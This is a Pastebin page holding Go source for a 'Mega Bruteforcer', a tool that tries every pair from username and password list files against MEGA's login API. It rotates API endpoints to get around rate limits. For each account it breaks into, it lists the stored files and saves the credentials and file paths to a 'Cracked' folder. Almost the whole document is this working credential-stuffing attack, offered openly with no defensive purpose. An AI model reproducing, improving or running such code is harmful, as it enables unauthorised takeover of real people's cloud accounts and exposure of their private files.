Advertisement
Guest User

Mega Bruteforcer

a guest
Apr 10th, 2017
525
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 2.50 KB | None | 0 0
  1. //https://github.com/SaturnsVoid/Mega-Bruteforce
  2. package main
  3.  
  4. import (
  5.     "fmt"
  6.     "io/ioutil"
  7.     "math/rand"
  8.     "os"
  9.     "strconv"
  10.     "strings"
  11.     "time"
  12.  
  13.     "github.com/t3rm1n4l/go-mega"
  14.     "github.com/t3rm1n4l/megacmd/client"
  15. )
  16.  
  17. var (
  18.     api = [...]string{"https://eu.api.mega.co.nz", "https://g.api.mega.co.nz"} //API's
  19. )
  20.  
  21. func checkFileExist(filePath string) bool {
  22.     if _, err := os.Stat(filePath); os.IsNotExist(err) {
  23.         return false
  24.     } else {
  25.         return true
  26.     }
  27. }
  28.  
  29. func getContent(file string) ([]string, error) {
  30.     f, err := ioutil.ReadFile(file)
  31.     if err != nil {
  32.         return []string{}, fmt.Errorf("error opening file %v", err)
  33.     }
  34.  
  35.     results := strings.Split(string(f), "\r\n")
  36.  
  37.     return results, nil
  38. }
  39.  
  40. type Page struct {
  41.     Title string
  42.     Body  []byte
  43. }
  44.  
  45. func (p *Page) save() error {
  46.     filename := p.Title + ".txt"
  47.     return ioutil.WriteFile("./Cracked/"+filename, p.Body, 0600)
  48. }
  49.  
  50. func countFiles() int { //Count # of files
  51.     profiles, _ := ioutil.ReadDir("./Cracked")
  52.     return len(profiles)
  53. }
  54.  
  55. func main() {
  56.     if checkFileExist(os.Args[0]+"username.txt") && checkFileExist(os.Args[0]+"password.txt") {
  57.         fmt.Println("Error! username.txt OR password.txt not found!")
  58.         os.Exit(1)
  59.     }
  60.  
  61.     usernames, err := getContent("username.txt")
  62.     if err != nil {
  63.         fmt.Println(err)
  64.         return
  65.     }
  66.     passwords, err := getContent("password.txt")
  67.     if err != nil {
  68.         fmt.Println(err)
  69.         return
  70.     }
  71.  
  72.     for _, u := range usernames {
  73.         for _, p := range passwords {
  74.         retry:
  75.             conf := new(megaclient.Config)
  76.             rand.Seed(time.Now().UTC().UnixNano())
  77.             mega.API_URL = api[rand.Intn(len(api))]
  78.  
  79.             conf.User = u
  80.             conf.Password = p
  81.  
  82.             client, err := megaclient.NewMegaClient(conf)
  83.             if err != nil {
  84.                 fmt.Println(err)
  85.             }
  86.  
  87.             err = client.Login()
  88.  
  89.             if err != nil {
  90.                 if err == mega.ENOENT {
  91.                     fmt.Println("[Bad] " + u + ":" + p)
  92.                     break
  93.                 } else {
  94.                     fmt.Println("[Limited] Unable to establish connection to mega service", err)
  95.                     time.Sleep(time.Duration(30) * time.Second)
  96.  
  97.                     goto retry
  98.                 }
  99.             }
  100.             var tmpstring string
  101.             tmpstring += "Login: " + u + ":" + p + "\r\n"
  102.             fmt.Println("[Good] " + u + ":" + p)
  103.             paths, err := client.List("mega:/")
  104.             if err != nil && err != mega.ENOENT {
  105.                 fmt.Println("[ERROR] List failed ", err)
  106.             }
  107.             if err == nil {
  108.                 for _, p := range *paths {
  109.                     tmpstring += p.GetPath() + "\r\n"
  110.                 }
  111.                 s1 := strconv.Itoa(countFiles())
  112.                 p1 := &Page{Title: "Cracked Account " + s1, Body: []byte(tmpstring)}
  113.                 p1.save()
  114.             }
  115.         }
  116.     }
  117. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement